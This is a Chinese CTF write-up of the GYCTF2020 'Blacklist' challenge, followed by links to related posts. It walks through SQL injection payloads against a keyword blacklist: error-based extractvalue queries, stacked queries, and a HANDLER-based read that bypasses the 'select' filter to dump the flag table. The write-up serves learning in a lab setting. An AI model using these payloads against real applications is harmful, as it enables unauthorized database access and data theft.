[GYCTF2020]Blacklist

输入1或者2会返回一个数组
随后输入1’ union select 1,database()–+返回了过滤掉的语句

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

尝试报错注入：
输入

or extractvalue(1,concat(user(),0x7e,version()))

随后输入

1' and extractvalue(1,concat('~',database()))--+

随后使用堆叠注入
堆叠注入与union联合注入的区别在于堆叠注入可以执行任意语句，而且它只会显示第一条语句的结果，其余语句出错什么的没有任何影响
输入

3';use supersqli;show tables;

结果

随后查询字段
输入

3‘;use supersqli;show columns from `FlagHere';--+

结果：

接下来查询flag字段的内容

-1';use supersqli;Select `flag` from `FlagHere`;#

想了各种方法都无法绕过
后来去查看了大佬的blog

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

HANDLER … OPEN语句打开一个表，使其可以使用后续HANDLER … READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
成功看到了flag
大佬np，是在下浅薄了
附上大佬博客链接：
https://www.cnblogs.com/gaonuoqi/p/12398554.html

[GYCTF2020]Blacklist相关推荐

[GYCTF2020]Blacklist 使用handler函数进行sql堆注入
[GYCTF2020]Blacklist 前言文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 参 ...
BUUCTF [GYCTF2020] Blacklist
BUUCTF [GYCTF2020] Blacklist 启动靶机: 提交参数1后正常回显内容: 输入2/2判断注入类型: 回显为2,可以判断出为字符型注入输入select,查看是否存在回显: re ...
[GYCTF2020]Blacklist 1
[GYCTF2020]Blacklist 1 在做本题的时候,我们发现过滤掉了很多的关键字很多注入方法已经没有办法使用(联合查询布尔盲注 updataxml的报错注入) 并且发现本关的注入方法为 ...
BUUCTF[GYCTF2020]Blacklist
sql注入题型,测试发现黑名单如下: 大小写,双写,编码均不可绕过. 可用的还有,or and union show 输入:1 or 1=1 无反应输入:1' or '1' ='1 如下: 字符型注 ...
Web_SQL注入(1)
前言: 考察SQL注入的赛题很多,而且涉及到的知识也很杂,就总结一下做过的不同类型的SQL注入汇总一下. [GYCTF2020]Blacklist --涉及新知识HANDLER ... OPEN等.堆 ...
BUUCTF持续更新中
目录 [HCTF 2018]WarmUp [强网杯 2019]随便注 [SUCTF 2019]EasySQL [GYCTF2020]Blacklist [GKCTF2020]cve版签到 GXYCTF ...
Web渗透不断更新
Web渗透 SQL注入一般注入步骤堆叠注入堆叠注入原理堆叠注入条件堆叠注入实例 handler 盲注 GET&POST 检测绕过变量替换.变换绕过报错注入 SSTI模板注入文件 ...
ctf_BUUCTF_web（1）
文章目录 BUUCTF_web SQL注入 1. [极客大挑战 2019]EasySQL 2. [SUCTF 2019]EasySQL 3.[强网杯 2019]随便注 4.[极客大挑战 2019]Ba ...
Stacked Queries（堆叠注入）
文章目录基本知识原理介绍: 堆叠注入的局限性 Mysql数据库实例介绍 CTF 实战与各种姿势修改表名利用HANDLER语句利用MySql预处理正常利用 MySql预处理配合十六进制绕过关 ...

[GYCTF2020]Blacklist

[GYCTF2020]Blacklist相关推荐

最新文章

热门文章